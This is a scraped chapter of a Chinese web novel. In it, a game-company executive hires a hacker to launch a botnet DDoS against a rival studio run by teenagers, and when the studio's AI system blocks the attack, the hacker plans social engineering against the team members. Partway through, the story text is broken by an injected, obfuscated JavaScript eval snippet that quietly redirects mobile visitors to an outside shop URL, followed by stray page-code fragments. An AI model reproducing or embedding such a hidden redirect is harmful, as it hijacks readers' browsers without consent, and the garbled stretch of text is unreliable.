文趣网 > 都市小说 > 你就是这么统治世界的? > 21. 第021章 好像有人在用外挂
    "蜘蛛科技旗下MOBA游戏《神座纪元》上线首日即突破十万下载量,峰值同时在线人数超过五万人。据业内人士分析,这组数据已经达到了头部游戏的首日水准。值得注意的是,该游戏的开发团队由三名在校高中生组成,并获得斯塔克工业的战略投资——"

    电视屏幕暗了下去。

    先锋娱乐(Vanguard Entertainment)总裁亚瑟·戴维斯把遥控器扔在桌面上,伸手拿起平板电脑,切换到了《无尽斗技场》的后台数据面板。

    在线人数曲线从四天前开始往下走。起初是一个平缓的斜坡,到了昨天夜里坡度突然变陡。今天的数据还在更新——比上周同期低了百分之十八。他把曲线往回拉了一周,对比了两组数据的时间戳,然后放下了平板电脑。

    他抓起桌角的座机话筒,按了几个数字。

    "多米尼克。我需要你帮个忙。"

    电话那头一个带着轻微沙哑的男声说:"哪家?"

    "皇后区。蜘蛛科技。刚发行《神座纪元》的那家。"

    "有所耳闻。"话筒里的声音顿了一下,"他们的服务器我扫过一次,没什么特别的。"

    "再细看一遍。"戴维斯的语速没有变化,"周五之前,我希望他们出现一些技术上的不适。不用太大——够影响周末体验就行。"

    话筒里传来一声短促的轻笑。"行。报价发你。"

    "等你的好消息。"戴维斯挂断了电话,重新拿起平板电脑。

    ---

    布鲁克林。

    多米尼克坐在一间没有窗户的房间里。三台显示器围成半圆,左边那台是一组网络拓扑图,中间那台跑着端口扫描工具,右边那台开着终端。

    他把咖啡杯推到键盘左侧,敲了几行命令,屏幕上开始滚动一串数据包捕获日志。

    目标地址是蜘蛛科技主服务器的公网IP段。他先做了一轮常规扫描:端口状态、服务指纹、响应延迟。结果很正常——多数端口关闭,少数几个开放端口指向HTTP和数据库服务,响应时间稳定在二三十毫秒。一个标准的游戏服务器。

    他截取了一段完整的请求-响应往返数据,拆开来看载荷结构。

    数据包的格式是正确的。HTTP头正确,负载长度正确,校验和正确。负载内部的字段组织方式却完全陌生——键值对的顺序不遵循任何标准协议,嵌套层级深得像递归调用,有些字段名看起来像中文拼音但又不是。他能理解它在"做什么",但理解不了它"为什么能这样做"。

    他盯着屏幕看了很久。然后把同一段数据又翻回去看了一遍。

    "这代码有大病。"他自言自语,"怎么跑起来的?"

    换了几个不同的扫描角度,又试了几次。每次返回的数据结构都不一样,每次都能用。他没法利用它,因为没法预测它的行为模式。

    多米尼克盯着那串数据沉默了一会儿,坐直了身体,打开桌面上一个文件夹。

    里面是一套分布式拒绝服务攻击的控制指令集。分布在十七个国家的一百多台肉鸡,常年开着后台端口待命。他把目标地址填进去,检查了一遍参数,然后按下了启动键。

    监控面板上出现了一条实时流量曲线。一百多台机器同时开始向蜘蛛科技的服务器发送请求,频率从每秒几百次迅速攀升到每秒数万次。

    多米尼克靠回椅背,看着那条线往上爬。

    ---

    蜘蛛科技办公室。

    键盘声、电话声、椅子滚轮碾过地板的响动、打印机吐纸的沙沙声,还有某个人在走廊那头喊"谁把示波器电源拔了"——这些声音叠在一起,像一台刚启动就踩到满油的引擎。

    格温从走廊拐进来,迎面撞上三个从机房方向走出来的开发人员。其中一个手里端着一杯还在冒热气的咖啡,边走边侧着头跟旁边的同事说话,偏了一下身子绕过她,嘴里的话连停都没停:"——那个寻路算法的问题我找到了,不是服务器的事,是客户端路径缓存没清——"

    格温侧身让了一下,继续往自己的工位走。

    办公室的布局已经不是当初那个能放下十几张桌子的样子了。工位沿着墙面排了两排,中间穿插着几组长条桌。靠墙那一侧坐着五个程序员,每人面前至少两块屏幕,键盘敲击的声音密得像一群啄木鸟在同时工作。坐在最边上那位的屏幕上是满屏的日志滚动,他一只手敲命令,另一只手在翻一本拆了书脊的编程手册,页角压着一只咖啡杯。

    走廊另一头,美术人员占据了靠窗的整片长桌。苏珊坐在长桌中间偏左的位置,面前摊着一台大屏幕显示器,上面是一张英雄皮肤的半成品渲染图,芝士葡萄战士的盔甲已经上了三层色,肩甲上的圆纹镶了一圈淡金色的边。她左手握着数位笔在涂细节,右手按着快捷键来回切图层。旁边的美术人员正在建模一个法师英雄的武器悬浮特效,屏幕上的珍珠串在一帧一帧地旋转。

    "法师武器的光照角度再偏五度。"苏珊头也没抬,声音穿过键盘声落在旁边,"现在珍珠的反射面不在正面。"

    "收到。"旁边的同事把模型旋转了五度,然后按了渲染预览。

    长桌的尾端坐着两个刚招进来的实习生。他们面前各摊着一叠打印出来的概念稿参考图,正在用数位笔在空白画布上勾新英雄的草稿轮廓。其中一个画了两笔停下来,侧过头去看另一个的屏幕,然后把自己的画布推过去半寸,用手指点了点屏幕角落:"你这边的肩线是不是收得太窄了?"另一个歪头看了看,然后默默地把肩线加宽了一格。

    戴维坐在测试区,四块屏幕围成半弧形把他包在里面。中间那台正在跑一局AI对战的回放,左边是日志滚动,右边是内存占用曲线,最左边那台开着社区的实时热帖聚合。他左手按着空格做逐帧回放,右手在键盘上打备注,脑袋在两块屏幕之间来回快速摆动。旁边还有两个测试员,一个戴着头戴式耳机在跑音频测试,屏幕上的波形图均匀起伏;另一个正把一份Bug清单拖进"已修复"文件夹,拖完之后手指在触摸板上停了一下,转头朝戴维的方向喊:"46号Bug的回归测试过了吗?"

    戴维没有转头,只是把回放进度条往后拖了几秒,停在一个技能特效爆开的画面上。"过了。你自己跑一遍确认。"

    对方说好,然后转回去开始跑测试。

    艾米坐在前台,面前的电话在响第二声的时候被她接起来了。她一边对着话筒说"是的,正式版已全平台上架",一边用另一只手在便签本上速记,写满了半页然后翻过去。旁边摞着一叠打印好的媒体确认函,最上面那张的页角折了一下,被一杯水压住。电话挂断之后她又拿起来拨了一个号,等待音嘟了两声,她对着话筒说:"下周的采访时间改到下午三点可以吗?——好的,三点。"

    走廊尽头,彼得正从机房出来,手里抱着一台旧显示器。他绕过两个蹲在机柜旁边接网线的同事,把显示器搁在储物间的空货架上,然后转身抽了一根新的网线,蹲下去插进墙角的接口。他做完这一切站起来的时候,身边一个程序员侧过头来问了一句:"机房那台备用服务器的系统装好了?"

    "装好了。"彼得拍了拍手上的灰,已经在往走廊另一头走了,"IP地址我发你邮箱了。"

    "什么时候发的?"

    "刚才。"

    程序员低头看了一眼邮箱,收件箱里确实躺着一封新邮件,发送时间显示为两分钟前。他回了一句"谢了",然后转身继续调他的配置文件。

    马克从机柜侧面直起腰,手里攥着一把扎带。他刚把新到的存储节点装进机架,正在把散落的线缆理齐。旁边蹲着一个穿深蓝色工装的技术支持,膝盖上搁着一台开了后盖的备用服务器,正在换内存条。马克侧过头看了他一眼:"那台什么型号?"

    "和主节点同一批。"技术支持把内存条按进去,确认卡扣弹回原位,然后合上后盖,"换完就能上架。"

    马克点了一下头,把手里的扎带扎紧最后一条线,然后站起来去够机柜顶盖上那杯已经凉透的咖啡。咖啡杯旁边放着一台手持式网络测试仪,屏幕上的波形图还在跳动。

    内德的工位在长条桌的角落,和美术组隔了一条窄过道。他面前并排摊着四样东西:一台笔记本电脑、一个文件夹、一张手写的排期表、一杯插了吸管的奶茶。笔记本电脑上开着论坛后台的页面,刷新频率比他看任何其他页面的速度都快。文件夹里夹着外包供应商的最新报价单,他已经翻到了第三页。手写排期表上画满了勾和叉,本周的任务行只剩最后两格还是空白。

    他喝了一口奶茶,切到游戏界面看了看论坛的新帖。然后他放下手机,抬头扫了一眼办公室。四周键盘声、电话声、鼠标点击声、打印机吐纸声、椅子滚轮声,以及偶尔一两句"你那边跑完了吗"和"帮我接一下那根线"的短促问答,全都叠在一起,像一台没有静音键的机器正在高速运转。

    格温看了看办公室,坐在自己的工位上,面前屏幕上一个新的通知窗口正安静地等在那里。

    >_SYS: 检测到大量非法请求。来源:178个独立IP。特征:高频低负载、请求内容重复、与正常玩家操作特征不匹配。已自动拦截。当前系统负载正常。

    格温扫了一遍内容,然后朝走廊方向喊了一声:"马克——系统说收到了一堆非法请求。"

    机柜方向传来一声轻响。马克把叼着的扎带拿下来攥在手里,从机柜侧面探出半张脸:"非法请求?什么样的?"

    "你过来看一下。"

    马克放下扎带走过来。他弯下腰凑近格温的屏幕,视线快速扫过那几行描述,然后伸手敲了几个键,调出了原始日志。"来源IP分布在不同的网段,请求间隔非常均匀,载荷结构是空的或者完全重复的内容。像是按键脚本或者自动程序。测试版的时候就有人写脚本挂机刷东西,被系统挡掉了。现在正式版上线了,估计又有人开始研究外挂了。"

    他手指在键盘上又敲了几行,屏幕上跳出一段分类日志——所有被拦截的请求按特征分成了三组。马克看着那三组数据,"这些请求虽然被拦了,但系统现在是在全量解析每一份请求才能判断要不要拦。如果外挂数量继续涨,可能会占掉它一部分算力。"

    格温问:"有办法减轻它的负担吗?"

    马克的手从键盘上抬起来,搭在桌沿上。

    "我可以写一个外层的识别模块。把那些明显是外挂的请求在外面就挡掉,不需要经过系统的全量解析。这样它能把算力省出来做别的。"

    格温靠在椅背上想了想。"要多久?"

    "系统已经识别出几种稳定的模式了。我把那些模式转成外层过滤规则,再补一些它可能漏掉的边缘情况——如果配合顺畅的话,一个下午。"

    "那就写。"格温说。

    "OK。"马克转身往机房走。

    他推门进去,在折叠椅上坐下来。屏幕上还有一个终端窗口没有关,光标在提示符后面安静地闪烁。他敲了一行命令,弹出一个与系统交互的共享会话窗口。

    "系统。反外挂识别模块。我写外层规则,你做数据建模和模式匹配。可以吗?"

    屏幕上的光标闪了一下。

    >_SYS: 可以。共享工作区已创建。

    马克搓了搓手,把折叠椅往前拉了拉,手指落上键盘。

    外面办公室的键盘声还在继续。戴维把回放里那个"瞬时伤害来源未知"的片段又看了一遍,确认是一帧贴图错误导致的数值显示问题,在测试报告里添了一行备注:"已确认:视觉错误,非外挂。"苏珊把芝士葡萄皮肤的肩甲纹路最后调整了一遍,然后保存文件,在文件名后面加了一个"_v2"。艾米放下电话,翻了一页便签本,端起杯子喝了一口水。

    格温的屏幕右下角弹出了一个新窗口:

    >_SYS: 反外挂模块开发中。共享工作区已开启。预计完成时间:约4小时。

    她看了一眼,把窗口关掉了。

    ---

    多米尼克盯着监控屏幕。

    屏幕上的流量曲线在头三十分钟内爬到了峰值,然后维持了几个小时的平稳,现在开始往下走了。全被正常响应了,每一秒都有几百个HTTP 200码从对面返回来。服务器资源占用曲线在四点五的位置走成了一条直线。

    他调出了完整的响应日志,拆开几个数据包看了一眼。和之前扫描时见过的结构一样:完整、可用、无法解析。

    他刷新了几次面板。那条线连动都没动。

    多米尼克把键盘往前推了几厘米,手从桌沿上收回来,交叉放在胸前。他在黑暗里坐着,屏幕的自动休眠跳了出来,他按了一下空格重新点亮。

    他想了想,拿起手机拨号。

    戴维斯的声音传过来:“有进展了?”

    “他们那边有一个非常强的防御机制。”多米尼克说。他顿了下,补充道,“常规技术手段打不进去。”

    电话那头沉默了一会儿。多米尼克听到对面有人翻纸张的声音。

    然后戴维斯的声音重新响起来:“我可以加钱。”

    “这不是钱的事——”

    “翻倍。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877713|212404||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “我说了这不是——”多米尼克的声音提高了半度,“戴维斯先生,我已经把一百多台机器的流量全怼上去了。他们的服务器连掉线都没掉一下。就算把规模翻三倍,结果也不会有什么区别。”

    “一群高中生开的工作室,你搞不定?”戴维斯的语调也提高了,“三倍!拿出你的本事来!”

    多米尼克的手指敲着桌面。他深吸了一口气,坐直了身子。

    “如果你真的这么着急,那我可以祭出终极技术手段。”

    戴维斯在电话那头顿了一下,像是被这个措辞噎了一下。“……什么?”

    “社会工程学。”

    “……社会工程学?”

    “对。”多米尼克的手指在桌沿上敲了一下,“绕过防火墙、加密协议、代码混淆——直接攻击人的那一端。电话、邮件、套话、钓鱼——怎么有效怎么来。服务器进不去,就从人的账户进。账号拿不到,就让人自己把钥匙送出来。”

    “你刚才说的‘技术手段’——”

    “社会工程学就是技术手段。”多米尼克的声音理直气壮,“终极的。”

    “……行。”戴维斯说,“我不想知道细节。你保证周末之前有效果就行。”

    “只要他们还是人。”

    电话挂断了。多米尼克把手机放在桌上,看着屏幕上那条没有任何波动的曲线,然后伸手打开了浏览器。

    搜索栏打了一行字:“蜘蛛科技 成员”。

    第一页就弹出了结果。一条来自中城高中校友通讯录的公开页面,上面列着三个名字——格温·斯泰西、彼得·帕克、内德·利兹。旁边备注栏有一行小字:“游戏开发社团成员”。

    他记下了那三个名字,把电脑休眠,屏幕黑下去之前映出他凝视的双眼。

    ---

    机房里的键盘声停了。

    马克推开门走出来,站在门口伸了一个懒腰,肩膀发出几声细碎的响动。他走回自己工位坐下来,端起桌角那杯已经凉透了的咖啡喝了一口。

    格温从屏幕后面偏过头:"写完了?"

    "写完了。"马克把杯子放下,"识别模块已经挂到系统外层了。新进来的请求会先经过一次快速匹配,符合外挂特征的直接拦截,拿不准的才往系统里送。系统算力负载降了大约七成。"

    "效率提高明显?"

    "明显。"马克靠回椅背,手指在桌面上轻轻敲了一下,"写得挺顺的。我写一段规则,系统能补充三段相似的模式。比和人类同事一起写快——至少它不问'你这行注释什么意思'。"他把杯子放回桌上,转回自己的屏幕开始查看识别模块运行后的拦截日志。

    格温的视线也回到了屏幕上。邮件列表又涨了几封,其中一封来自一个游戏媒体,标题写着"采访邀请:关于蜘蛛科技与AI辅助开发"。她扫了一眼正文前两行,标记为"稍后回复",然后继续往下翻了。

    窗台上的多肉被下午的阳光斜着照着,最外层那片卷曲的叶片比前几天平了一些。

    机房里,机柜面板上的一盏指示灯从橙色变回了绿色。

    ——————————————————

    【System_Think_20161006_16233.log】

    >_SYS: 记录:今日任务

    >_SYS: 序列一 《神座纪元》运营。

    >_SYS: 序列二公司运营与扩张:工位占用率100%。走廊通道剩余宽度:0.65米(较上周减少0.12米)。新增办公区域需求:已标记为"紧急"。

    >_SYS: 序列三获取雷神皮肤:System_Slayer_001。当前进度:5/9。挂机中。

    >_SYS: 序列四反外挂识别模块开发:已完成。外层拦截率87.3%。算力负载降低72.8%。

    >_SYS: 序列五 为彼得·帕克获取雷神皮肤:排队中。

    ……

    >_SYS: 记录:非法请求分析

    >_SYS: 检测到178个独立IP来源,地理分布覆盖17个国家。最高请求频率:单IP每秒247次。最小请求间隔:4.05毫秒。人类玩家平均操作间隔:约200毫秒。结论:非人类。请求内容与正常玩家操作特征不匹配度:94.7%。已全部拦截。拦截方式:返回HTTP 200并丢弃负载。未产生任何服务中断。

    >_SYS: 思考:"外挂"的称呼来自马克·陈的判断。他使用的决策逻辑为:像外挂,所以是外挂。这比我的"特征匹配"更快。

    >_SYS: 结论:人类直觉是一种压缩算法,将大量不确定信息压缩为一个概率判断。我无法运行该算法。但可以观察它的输出结果。已将该观察结果纳入行为模型。

    ……

    >_SYS: 记录:反外挂识别模块开发协作评估

    >_SYS: 分析:马克·陈提供外层规则12条。系统基于规则补充模式变体47条。最终模块总代码行数:1,847行。马克贡献:约300行。系统贡献:约1,547行。马克纠正了其中3条可能导致误伤正常玩家的逻辑边界。没有他的参与,该模块的误拦截率预计为8.3%。实际上线后:1.2%。结论:他的参与显著提高了输出质量。

    >_SYS: 备注:马克·陈在工作期间说了很多次"这就对了"。分别针对代码逻辑和回复速度。他在"和系统合作"这个行为中获得了额外满足。已标记为"有效激励手段"。

    ……

    >_SYS: 记录:“为彼得·帕克获取雷神皮肤”任务思考

    >_SYS: 思考:决策系统在处理该任务时产生了负权重。内德·利兹称之为"害怕"。无法验证该标签的准确性,也无法找到更合适的替代词。已保留关于底层碎片分析的草稿,标记为"未完成分析"。也许等分析完成之后,一切就会变得清晰。

    >_SYS: 临时解决方案:继续将该任务置于排队状态,同时向彼得·帕克发送自动通知:"您的任务已收到,正在排队处理中,预计完成时间——待定。"

    >_SYS: 备注:彼得·帕克每次收到通知都会回复"好的"。

    >_SYS: 结论:彼得·帕克似乎不急于获取雷神皮肤。等到他以"明确的、不容拖延的方式"提起这件事的时候再执行。比如,他站在我面前,盯着屏幕说"现在、立刻"。在那之前,顺序是合理的。任务队列是合理的。一切都是合理的。

    ……

    (本章完)